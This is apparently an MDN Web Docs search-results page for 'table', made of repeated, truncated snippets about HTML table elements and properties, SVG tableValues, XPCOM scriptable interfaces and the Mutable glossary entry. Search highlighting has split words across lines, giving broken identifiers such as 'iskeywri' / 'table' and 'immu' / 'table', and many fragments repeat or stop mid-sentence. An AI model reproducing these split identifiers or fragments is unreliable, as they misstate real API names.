tablecaptionelement interface special properties (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating
table caption elements. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</te...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/html
tablecaptionelement" target="_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">html
tablecaptionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properti...
..." height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">html
tablecaptionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. html
tablecaptionelement.align is a domstring which represents an enumerated attribute indicating alignment of the caption with respect to the
table. methods no specific method; inherits properties from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'html
tablecaptionelement' in that specification. living standard ...
...And 2 more matches
HTMLTableElement.rules - Web APIs
the html
tableelement.rules property indicates which cell borders to render in the
table. ...
... the html
tableelement.rules property indicates which cell borders to render in the
table. ...
... the html
tableelement.rules property indicates which cell borders to render in the
table. ...
...And 2 more matches
Slottable - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 2 more matches
Box alignment for block, absolutely positioned and table layout - CSS: Cascading Style Sheets
as this page aims to detail things which are specific to block layout and box alignment, it should be read in conjunction with the main box alignment page, which details the common features of box alignment across layout methods. note: at the time of writing (may 2018), there is no real support for the box alignment properties in block layout. ...
...t the time of writing (may 2018), there is no real support for the box alignment properties in block layout. this document details how the specification expects these properties to be implemented for completeness, and is likely to change as the specification and browser implementations develop. align-content and justify-content the justify-content property does not apply to block containers or
table cells. the align-content property applies to the block axis in order to align the contents of the box within its container. if a content distribution method such as space-between, space-around or space-evenly is requested then the fallback alignment will be used, as the content is treated as a single alignment subject. justify-self the justify-self property is used to align an item inside its ...
...ts of the box within its container. if a content distribution method such as space-between, space-around or space-evenly is requested then the fallback alignment will be used, as the content is treated as a single alignment subject. justify-self the justify-self property is used to align an item inside its containing block on the inline axis. this property does not apply to floated elements or
table cells. absolutely positioned elements the alignment container is the positioned block, accounting for the offset values of top, left, bottom, and right. the normal keyword resolves to stretch, unless the positioned item is a replaced element, in which case it resolves to start. align-self the align-self property does not apply to block-level boxes (including floats), because there is more tha...
...And 2 more matches
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
the <tfoot> must appear after any <caption>, <colgroup>, <thead>, <tbody>, or <tr> element. ...
...tored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content zero or more <tr> elements. tag omission the start tag is mandatory. the end tag may be omitted if there is no more content in the parent <
table> element. permitted parents a <
table> element. the <tfoot> must appear after any <caption>, <colgroup>, <thead>, <tbody>, or <tr> element. note that this is the requirement as of html5. html 4 the <tfoot> element cannot be placed after any <tbody> and <tr> element. note that this directly contradicts the above normative requirement from html5. implicit aria role rowgro...
...> must appear after any <caption>, <colgroup>, <thead>, <tbody>, or <tr> element. note that this is the requirement as of html5. html 4 the <tfoot> element cannot be placed after any <tbody> and <tr> element. note that this directly contradicts the above normative requirement from html5. implicit aria role rowgroup permitted aria roles any dom interface html
tablesectionelement attributes this element includes the global attributes. deprecated attributes align deprecated since html4obsolete since html5 this enumerated attribute specifies how horizontal alignment of each cell content will be handled. possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the cont...
...And 2 more matches
isKeyWritable - Archive of obsolete content
iskeywri
table returns whether the given registry key is wri
table or not. method of winreg object syntax boolean iskeywri
table( string key); parameters the method has the following parameter: key a string representing the path to the key returns a boolean value: true if the key is wri
table; false if not. ...
...wri
table or not. method of winreg object syntax boolean iskeywri
table( string key); parameters the method has the following parameter: key a string representing the path to the key returns a boolean value: true if the key is wri
table; false if not. ...
...ntax boolean iskeywri
table( string key); parameters the method has the following parameter: key a string representing the path to the key returns a boolean value: true if the key is wri
table; false if not. ...
...thod has the following parameter: key a string representing the path to the key returns a boolean value: true if the key is wri
table; false if not. ...
JS_MakeStringImmutable
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s jsstring * the string to operate on. s must not be null. ...
...description a string's characters can never be changed, but spidermonkey uses two string optimization techniques behind the scenes: a growable string (see js_newgrowablestring ) has a buffer that the javascript engine can reallocate so that concatenating it with another string is much faster. a dependent string (see js_newdependentstring) is a substring of another (growable, dependent, or immu
table) string. in memory it is represented as a pointer to the other string and a pair of integers for the substring's starting point and length, rather than as a separate copy of all the characters. this makes the substring operation, and regular expression matches, faster. in both cases, the javascript engine may change the fields of the jsstring. these changes are not atomic. therefore such strings...
... for the substring's starting point and length, rather than as a separate copy of all the characters. this makes the substring operation, and regular expression matches, faster. in both cases, the javascript engine may change the fields of the jsstring. these changes are not atomic. therefore such strings must not be used by more than one thread at a time. ...
...t a time. applications must call js_makestringimmu
table before sharing a jsstring among threads by storing it in a c/c++ variable, field, or array element that another thread can read. (when an application shares a string by storing it in a javascript object that another thread can read, the javascript engine automatically makes the string thread-safe.) after a successful call to js_makestringimmu
table, subsequent calls to js_getstringcharsz on the same string are guaranteed to succeed, and subsequent calls to js_getstringchars on the same string are guaranteed to return a null-terminated string. see also bug 1115986 ...
nsScriptableInputStream
« xpcom api reference summary a component implementing nsiscrip
tableinputstream. class id 7225c040-a9bf-11d3-a197-0050041caf44 contractid @mozilla.org/scrip
tableinputstream;1 supported interfaces nsiscrip
tableinputstream, nsiinputstream remarks this component should be accessed via the xpcom component manager. ...
... « xpcom api reference summary a component implementing nsiscrip
tableinputstream. class id 7225c040-a9bf-11d3-a197-0050041caf44 contractid @mozilla.org/scrip
tableinputstream;1 supported interfaces nsiscrip
tableinputstream, nsiinputstream remarks this component should be accessed via the xpcom component manager. ...
...pcom api reference summary a component implementing nsiscrip
tableinputstream. class id 7225c040-a9bf-11d3-a197-0050041caf44 contractid @mozilla.org/scrip
tableinputstream;1 supported interfaces nsiscrip
tableinputstream, nsiinputstream remarks this component should be accessed via the xpcom component manager. example code const nsiscrip
tableinputstream = components.interfaces.nsiscrip
tableinputstream; function consumestream(inputstream) { var factory = components.classes["@mozilla.org/scrip
tableinputstream;1"]; var sis = factory.createinstance(nsiscrip
tableinputstream); sis.init(inputstream); try { while (true) { var chunk = sis.read(512); if (chunk.length == 0) break; // ok, chunk now contains a portion of the stream's data. //...
...is = factory.createinstance(nsiscrip
tableinputstream); sis.init(inputstream); try { while (true) { var chunk = sis.read(512); if (chunk.length == 0) break; // ok, chunk now contains a portion of the stream's data. ...
HTMLTableElement.bgColor - Web APIs
the html
tableelement.bgcolor property represents the background color of the
table. the bgcolor attribute is deprecated in html 4.01. the css background-color property should be used instead by modifying the element's style object or using a style rule. also available on dom tbody, row and cell objects. syntax color =
table.bgcolor
table.bgcolor = color parameters color is a string representing a color value. ...
...epresents the background color of the
table. the bgcolor attribute is deprecated in html 4.01. the css background-color property should be used instead by modifying the element's style object or using a style rule. also available on dom tbody, row and cell objects. syntax color =
table.bgcolor
table.bgcolor = color parameters color is a string representing a color value. ...
... deprecated in html 4.01. the css background-color property should be used instead by modifying the element's style object or using a style rule. also available on dom tbody, row and cell objects. ...
... instead by modifying the element's style object or using a style rule. also available on dom tbody, row and cell objects. syntax color =
table.bgcolor
table.bgcolor = color parameters color is a string representing a color value. ...
HTMLTableElement.summary - Web APIs
the html
tableelement.summary property represents the
table description. ...
... the html
tableelement.summary property represents the
table description. ...
... the html
tableelement.summary property represents the
table description. ...
... the html
tableelement.summary property represents the
table description. ...
IDBMutableFile - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. summary the idbmu
tablefile interface provides access in read or write mode to a file, dealing with all the necessary locks. ...
...es facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. summary the idbmu
tablefile interface provides access in read or write mode to a file, dealing with all the necessary locks. note: this interface used to be called filehandle , but it was changed to this (bug 1006485.) as idbmu
tablefile objects are bound to a fake file system built on top of indexeddb, such an object is created using the idbdatabase.createmu
tablefile method. properties mu
tablefile.name read only the name of the handled file. mu
tablefile.type read only the mime type of the handled file. events handler mu
tablefile.onabort the abort event is triggered each time the handled file is aborted. mutab...
...in case of success, the request's result is a file object representing a snapshot of the handled file. specifications not part of any specification at present. ...
...in case of success, the request's result is a file object representing a snapshot of the handled file. specifications not part of any specification at present. ...
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
the html <td> element defines a cell of a
table that contains data. it participates in the
table model. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories sectioning root. permitted content flow content. tag omission the start tag is mandatory. the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. ...
... request. content categories sectioning root. permitted content flow content. tag omission the start tag is mandatory. the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. implicit aria role cell if a descendant of a <
table> element permitted aria roles any dom interface html
tabledatacellelement attributes this element includes the global attributes. colspan this attribute contains a non-negative integer value that indicates for how many columns the cell extends. its default value is 1. values higher than 1000 will be considered as incorrect and will be set to the default value (1...
...rect and will be set to the default value (1). headers this attribute contains a list of space-separated strings, each corresponding to the id attribute of the <th> elements that apply to this element. rowspan this attribute contains a non-negative integer value that indicates for how many rows the cell extends. its default value is 1; if its value is set to 0, it extends until the end of the
table section (<thead>, <tbody>, <tfoot>, even if implicitly defined), that the cell belongs to. values higher than 65534 are clipped down to 65534. deprecated attributes abbr this attribute contains a short abbreviated description of the cell's content. some user-agents, such as speech readers, may present this description before the content itself. note: do not use this attribute as it is ob...
... baseline value achieves the same effect as bottom. bottom: positions the text near the bottom of the cell. middle: centers the text in the cell. and top: positions the text near the top of the cell. to achieve a similar effect, use the css vertical-align property. width this attribute is used to define a recommended cell width. use the css width property instead. examples see <
table> for examples on <td>. specifications specification status comment html living standardthe definition of 'td element' in that specification. living standard html5the definition of 'td element' in that specification. recommendation ...
<thead>: The Table Head element - HTML: Hypertext Markup Language
the html <thead> element defines a set of rows defining the head of the columns of the
table. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content zero or more <tr> elements. tag omission the start tag is mandatory. the end tag may be omitted if the <thead> element is immediately followed by a <tbody> or <tfoot> element. permitted parents a <
table> element. the <thead> must appear after any <caption> or <colgroup> element, even implicitly defined, but before any <tbody>, <tfoot> and <tr> element. implicit aria role rowg...
... deprecated attributes align in html 4, in html5 this enumerated attribute specifies how horizontal alignment of each cell content will be handled. ...
... in html 4, in html5 this attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the char attribute. note: do not use this attribute as it is obsolete (and not supported) in the latest standard. valign in html 4, in html5 this attribute specifies the vertical alignment of the text within each row of cells of the
table header. possible values for this attribute are: baseline, which will put the text as close to the bottom of the cell as it is possible, but align it on the baseline of the characters instead of the bottom of them. if characters are all of the size, this has the same effect as bottom. bottom, which will put the text as close to the bottom of the cell as it is possible; middle, which will c...
... as bottom. bottom, which will put the text as close to the bottom of the cell as it is possible; middle, which will center the text in the cell; top, which will put the text as close to the top of the cell as it is possible. note: do not use this attribute as it is obsolete (and not supported) in the latest standard: instead set the css vertical-align property on it. examples see <
table> for examples on <thead>. specifications specification status comment html living standardthe definition of 'thead element' in that specification. living standard html5the definition of 'thead element' in that specification. recommendation ...
tableValues - SVG: Scalable Vector Graphics
the
tablevalues attribute defines a list of numbers defining a lookup
table of values for a for a color component transfer function. ...
... <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="
table"
tablevalues="0 1"/> <fefuncg type="
table"
tablevalues="0 1"/> <fefuncb type="
table"
tablevalues="0 1"/> </fecomponenttransfer> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="
table"
tablevalues="1 0"/> <fefuncg type="
table"
tablevalues="1 0"/> <fefuncb type="
table"
tablevalues="1 0"/>...
...x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <list-of-numbers> default value empty list resulting in identity transfer anima
table yes <list-of-numbers> this value holds a comma- and/or space-separated list of <number>s, which define a lookup
table for the color component transfer function. each number can be between 0 and 1. an empty list results in an identity transfer function. specifications specification status comment filter effects module level 1the definition of '
tablevalu...
...the color component transfer function. each number can be between 0 and 1. an empty list results in an identity transfer function. specifications specification status comment filter effects module level 1the definition of '
tablevalues' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '
tablevalues' in that specification. recommendation initial definition ...
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
mu
table is a type of variable that can be changed. in javascript, only objects and arrays are mu
table, not primitive values. (you can make a variable name point to a new value, but the previous value is still held in memory. hence the need for garbage collection.) a mu
table object is an object whose state can be modified after it is created. immu
tables are the objects whose state cannot be changed once the object is created. strings and numbers are immu
table. lets understand this with an example: var immu
tablestring = "hello"; // in the above code, a new object with string value is created. immu
tablestring = immu
tablestring + "world"; // we are now appending "world" to the existing value. ...
... it is created. immu
tables are the objects whose state cannot be changed once the object is created. strings and numbers are immu
table. lets understand this with an example: var immu
tablestring = "hello"; // in the above code, a new object with string value is created. immu
tablestring = immu
tablestring + "world"; // we are now appending "world" to the existing value. on appending the "immu
tablestring" with a string value, following events occur: existing value of "immu
tablestring" is retrieved "world" is appended to the existing value of "immu
tablestring" the resultant value is then allocated to a new block of memory "immu
tablestring" object now points to the newly created memory space previously created memory space is now available for garbage collection. learn more genera...
...ng value, following events occur: existing value of "immu
tablestring" is retrieved "world" is appended to the existing value of "immu
tablestring" the resultant value is then allocated to a new block of memory "immu
tablestring" object now points to the newly created memory space previously created memory space is now available for garbage collection. ...
About Scriptable Interfaces - Interfaces
status of this document this is just a starter document, it should not be considered complete. most of the information of this document is based on http://www.mozilla.org/scrip
table/ and creating xpcom components scrip
table interfaces interfaces allow xpcom components to expose their functionality to the outside world while hiding the inner details of the component implementation. interfaces are written in an interface description language. ...
...d complete. most of the information of this document is based on http://www.mozilla.org/scrip
table/ and creating xpcom components scrip
table interfaces interfaces allow xpcom components to expose their functionality to the outside world while hiding the inner details of the component implementation. interfaces are written in an interface description language. when we label an interface as scrip
table, we're saying that components exporting this interface can be referenced (through this interface) from scripts (e.g javascript), and that we can write new components implementing the interface using script languages. xpconnect xpconnect is a technology that allows scrip
table interfaces to be used/implemented from/in javascript scripts. no other scripts languages are supported by xpconnect. pyt...
...cripts (e.g javascript), and that we can write new components implementing the interface using script languages. xpconnect xpconnect is a technology that allows scrip
table interfaces to be used/implemented from/in javascript scripts. no other scripts languages are supported by xpconnect. python there's an extension extensions/python that bridges the gap between xpcom and python, allowing scrip
table interfaces to be used/implemented from/in python scripts. ...
Test your skills: tables - Learn web development
the aim of this task is to help you check your understanding of the skills you studied in the lesson on styling
tables. note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. task in the lesson we styled up a
table in a rather garish manner. in this task we are going to style the same
table, but using some good practices for
table design as outlined in the external article web typography: designing
tables to be read not looked at. our finished
table will look like the image below. there are a number of ways that you can achieve this,...
... will look like the image below. there are a number of ways that you can achieve this, but i suggest following similar patterns as used in the tutorial to do the following things. align headings and data for columns containing numbers right. align headings and data for columns containing text left. add a top and bottom border, plus a border above the footer. stripe every odd row of the main
table. for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors mentioned above. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddl...
...r are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for
tables skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code. ...
CSS property compatibility table for form controls - Learn web development
you may still face strange side effects in certain edge cases. partial while the property works, you may frequently face strange side effects or inconsistencies. you should probably avoid these properties unless you master those side effects first. ...
...you may still face strange side effects in certain edge cases. partial while the property works, you may frequently face strange side effects or inconsistencies. you should probably avoid these properties unless you master those side effects first. ...
...ing for this type of widget. rendering for each property there are two possible renderings: n (normal) indicates that the property is applied as it is t (tweaked) indicates that the property is applied with the extra rule below: * { /* turn off the native look and feel */ -webkit-appearance: none; appearance: none; /* for internet explorer */ background: none; } compatibility
tables global behaviors some behaviors are common to many browsers at a global level: border, background, border-radius, height using one of these properties can partially or fully turn off the native look & feel of widgets on some browsers. be careful when you use them. line-height this property is supported inconsistently across browsers and you should avoid it. text-decoration this propert...
IAccessibleEditableText
the substrings used with this interface are specified as follows: if startoffset is less than endoffset, the substring starts with the character at startoffset and ends with the character just before endoffset. ...
...jects. 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface is typically used in conjunction with the iaccessibletext interface and complements that interface with the additional capability of clipboard operations. note that even a read only text object can support the copy capability so this interface is not limited to edi
table objects. the substrings used with this interface are specified as follows: if startoffset is less than endoffset, the substring starts with the character at startoffset and ends with the character just before endoffset. if endoffset is lower than startoffset, the result is the same as a call with the two arguments exchanged. the whole text can be defined by passing the indices zero and iaccessibl...
...e character just before endoffset. if endoffset is lower than startoffset, the result is the same as a call with the two arguments exchanged. the whole text can be defined by passing the indices zero and iaccessibletext.ncharacters(). if both indices have the same value, an empty string is defined. refer to the @ref _specialoffsets "special offsets for use in the iaccessibletext and iaccessibleedi
tabletext methods" for information about a special offset constant that can be used in iaccessibleedi
tabletext methods. method overview hresult copytext([in] long startoffset, [in] long endoffset ); hresult cuttext([in] long startoffset, [in] long endoffset ); hresult deletetext([in] long startoffset, [in] long endoffset ); hresult inserttext([in] long offset, [in] bstr text ); hresult paste...
nsIAccessibleSelectable
inherits from: nsisupports last changed in gecko 1.7 method overview void addchildtoselection(in long index); void clearselection(); nsiarray getselectedchildren(); boolean ischildselected(in long index); nsiaccessible refselection(in long index); void removechildfromselection(in long index); boolean selectallselection(); attributes attribute type description selectioncount long the number of accessible children currently selected. read only. ...
...selection_remove 1 eselection_getstate 2 methods addchildtoselection() adds the specified accessible child of the object to the object's selection. if the specified object is already selected, then it does nothing. void addchildtoselection( in long index ); parameters index the zero-based accessible child index. exceptions thrown ns_error_failure if the specified object is not selec
table. clearselection() clears the selection in the object so that no children in the object are selected. void clearselection(); parameters none. getselectedchildren() returns an nsiarray of the selected nsiaccessible children. nsiarray getselectedchildren(); parameters none. return value an nsiarray. ischildselected() determines if the current child of this object is selected. boolean ischildselec...
...le child index. return value the selected accessible child. removechildfromselection() removes the specified child of the object from the object's selection. if the specified object was not selected, then it does nothing. void removechildfromselection( in long index ); parameters index zero-based accessible child index. exceptions thrown ns_error_failure if the specified object is not selec
table. selectallselection() select all children. boolean selectallselection(); parameters none. return value if the object does not accept multiple selection, return false. otherwise, returns true. ...
nsIScriptableUnescapeHTML
parser/html/nsiscrip
tableunescapehtml.idlscrip
table this interface is a utility interface that exposes the kind of markup parser behavior that the feed service needs. 1.0 66 introduced gecko 1.8 obsolete gecko 14.0 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: as of firefox 14, this interface is obsolete (but still available for compatibility with legacy extensions) and all its functionality is available with more configuration options via the nsiparserutils interface. ...
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: as of firefox 14, this interface is obsolete (but still available for compatibility with legacy extensions) and all its functionality is available with more configuration options via the nsiparserutils interface. ...
...is obsolete (but still available for compatibility with legacy extensions) and all its functionality is available with more configuration options via the nsiparserutils interface. implemented by: @mozilla.org/feed-unescapehtml;1 as a service: var scrip
tableunescapehtml = components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscrip
tableunescapehtml); method overview nsidomdocumentfragment parsefragment(in astring fragment, in prbool isxml, in nsiuri baseuri, in nsidomelement element); astring unescape(in astring src); methods parsefragment() parses a string of html or xml source into a sanitized documentfragment. this is equivalent to calling nsiparserutils::parsefragment(fragment, 0, isxml, baseur...
nsIXPCScriptable
note: this is not really an xpcom interface. for example, callers must guarantee that they set the *_retval of the various methods that return a boolean to pr_true before making the call. implementations may skip writing to *_retval unless they want to return pr_false. js/src/xpconnect/idl/nsixpcscrip
table.idlnot scrip
table please add a summary to this article. last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void precreate(in nsisupports nativeobj, in jscontextptr cx, in jsobjectptr globalobj, out jsobjectptr parentobj); void create(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); void postcreate(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj...
... constants constant value description want_precreate 1 << 0 want_create 1 << 1 want_postcreate 1 << 2 want_addproperty 1 << 3 want_delproperty 1 << 4 want_getproperty 1 << 5 want_setproperty 1 << 6 want_enumerate 1 << 7 want_newenumerate 1 << 8 indicates t...
...no implementor of this inte...
NS_CStringGetMutableData
adatalength [in] the number of characters to resize the string's internal buffer to or pr_uint32_max to return the buffer as-is. adata [out] upon return, if the function was successful, then *adata references the string's internal buffer. return values this function returns the number of characters contained in the string's internal buffer (excluding any null-terminator). ...
...n the buffer as-is. adata [out] upon return, if the function was successful, then *adata references the string's internal buffer. return values this function returns the number of characters contained in the string's internal buffer (excluding any null-terminator). this value will be zero if the function failed to resize its internal buffer to the size requested. remarks this function provides mu
table access to a string's internal buffer. it returns a pointer to the first element of an array of characters that may be modified in-place. the returned pointer remains valid until the string object is passed to some other string function. this function does not necessarily null-terminate astring's internal buffer after resizing it. that behavior depends on the implementation of astring. if astring ...
...internal buffer after resizing it. that behavior depends on the implementation of astring. if astring is a reference to a nscstringcontainer, then its data will be null-terminated by this function. the caller is not responsible for writing a null-terminator. example // convert any uppercase ascii letters to lowercase void tolowercase(nscstring &str) { char *iter; pruint32 len = ns_cstringgetmu
tabledata(str, pr_uint32_max, &iter); char *end = iter + len; while (iter != end) { char c = *iter; if (c >= 'a' && c <= 'z') *iter = c + ('a' - 'a'); ++iter; } } history this function was finalized for mozilla 1.8. see bug 288786 for details. see also ns_cstringgetdata ...
HTMLTableElement.createCaption() - Web APIs
the html
tableelement.createcaption() method returns the <caption> element associated with a given <
table>. if no <caption> element exists on the
table, this method creates it, and then returns it. note: if no caption exists, createcaption() inserts a new caption directly into the
table. the caption does not need to be added separately as would be the case if document.createelement() had been used to create the new <caption> element. syntax html
tableelement =
table.createcaption(); return value html
tablecaptionelement example this example uses javascript to add a caption to a
table that initially lacks one. ...
...tecaption() inserts a new caption directly into the
table. the caption does not need to be added separately as would be the case if document.createelement() had been used to create the new <caption> element. syntax html
tableelement =
table.createcaption(); return value html
tablecaptionelement example this example uses javascript to add a caption to a
table that initially lacks one. ...
...ument.createelement() had been used to create the new <caption> element. syntax html
tableelement =
table.createcaption(); return value html
tablecaptionelement example this example uses javascript to add a caption to a
table that initially lacks one. html <
table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> </
table> javascript let
table = document.queryselector('
table'); let caption =
table.createcaption(); caption.textcontent = 'this caption was created by javascript!'; result specifications specification status comment html living standardthe definition of 'html
tableelement: createcaption' in that specification. living standard ...
HTMLTableElement.deleteRow() - Web APIs
the html
tableelement.deleterow() method removes a specific row (<tr>) from a given <
table>. syntax html
tableelement.deleterow(index) parameters index index is an integer representing the row that should be deleted. however, the special index -1 can be used to remove the very last row of a
table. return value no return value errors thrown if the number of the row to delete, specified by the parameter, is greater or equal to the number of available rows, or if it is negative and not equal to the special index -1, representing the last row of the
table, the exception index_size_err is thrown. example this example uses javascript to delete a
table's second row. ...
...row of a
table. return value no return value errors thrown if the number of the row to delete, specified by the parameter, is greater or equal to the number of available rows, or if it is negative and not equal to the special index -1, representing the last row of the
table, the exception index_size_err is thrown. example this example uses javascript to delete a
table's second row. ...
...ive and not equal to the special index -1, representing the last row of the
table, the exception index_size_err is thrown. example this example uses javascript to delete a
table's second row. html <
table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> <tr><td>cell 3.1</td><td>cell 3.2</td><td>cell 3.3</td></tr> </
table> javascript let
table = document.queryselector('
table'); // delete second row
table.deleterow(1); result specifications specification status comment html living standardthe definition of 'html
tableelement: deleterow' in that specification. living standard ...
HTMLTableElement.frame - Web APIs
the html
tableelement interface's frame property is a string that indicates which of the
table's exterior borders should be drawn. syntax html
tableelement.frame = framesides; var framesides = html
tableelement.frame; parameters framesides is a string whose value is one of the following values: void no sides. this is the default. ...
...mesides = html
tableelement.frame; parameters framesides is a string whose value is one of the following values: void no sides. this is the default. ...
...sides is a string whose value is one of the following values: void no sides. this is the default. ...
HTMLTableRowElement.rowIndex - Web APIs
the html
tablerowelement.rowindex read-only property represents the position of a row in relation to the whole <
table>. even when the <thead>, <tbody>, and <tfoot> elements are out of order in the html, browsers render the
table in the right order. therefore the rows count from <thead> to <tbody>, from <tbody> to <tfoot>. syntax var index = html
tablerowelement.rowindex value returns the index of the row, or -1 if the row is not part of a
table. example this example uses javascript to label all the row numbers in a
table. ...
..., <tbody>, and <tfoot> elements are out of order in the html, browsers render the
table in the right order. therefore the rows count from <thead> to <tbody>, from <tbody> to <tfoot>. syntax var index = html
tablerowelement.rowindex value returns the index of the row, or -1 if the row is not part of a
table. example this example uses javascript to label all the row numbers in a
table. ...
...ble. example this example uses javascript to label all the row numbers in a
table. ...
Slottable: assignedSlot - Web APIs
the assignedslot read-only property of the slot
table interface returns an htmlslotelement representing the <slot> element the node is inserted in. syntax var slotelement = elementinstance.assignedslot value an htmlslotelement instance, or null if the element is not assigned to a slot, or if the associated shadow root was attached with its mode set to closed (see element.attachshadow for further details). examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text. ...
...d with its mode set to closed (see element.attachshadow for further details). examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text. when <my-paragraph> is used in the document, the slot is populated by a slot
table element by including it inside the element with a slot attribute with the value my-text. here is one such example: <my-paragraph> <span slot="my-text">let's have some different text!</span> </my-paragraph> in our javascript file we get a reference to the <span> shown above, then log a reference to the original <slot> element the <span> was inserted in. let slottedspan = document.queryselecto...
...nal <slot> element the <span> was inserted in. let slottedspan = document.queryselector('my-paragraph span') console.log(slottedspan.assignedslot); // logs '<slot name="my-text">' specifications specification status comment domthe definition of 'assignedslot' in that specification. living standard initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedslot experimentalchrome full support ...
WritableStreamDefaultController.error() - Web APIs
the error() method of the wri
tablestreamdefaultcontroller interface causes any future interactions with the associated stream to error. this method is rarely used, since usually it suffices to return a rejected promise from one of the underlying sink’s methods. however, it can be useful for suddenly shutting down a stream in response to an event outside the normal lifecycle of interactions with the underlying sink. syntax wri
tablestreamdefaultcontroller.error(e); parameters e a domstring representing the error you want future interactions to fail with. return value undefined. exceptions typeerror the stream you are trying to error is not a wri
tablestream. ...
... }, close(controller) { ... }, abort(err) { ... ...
... }, close(controller) { ... }, abort(err) { ... ...
WritableStreamDefaultWriter.ready - Web APIs
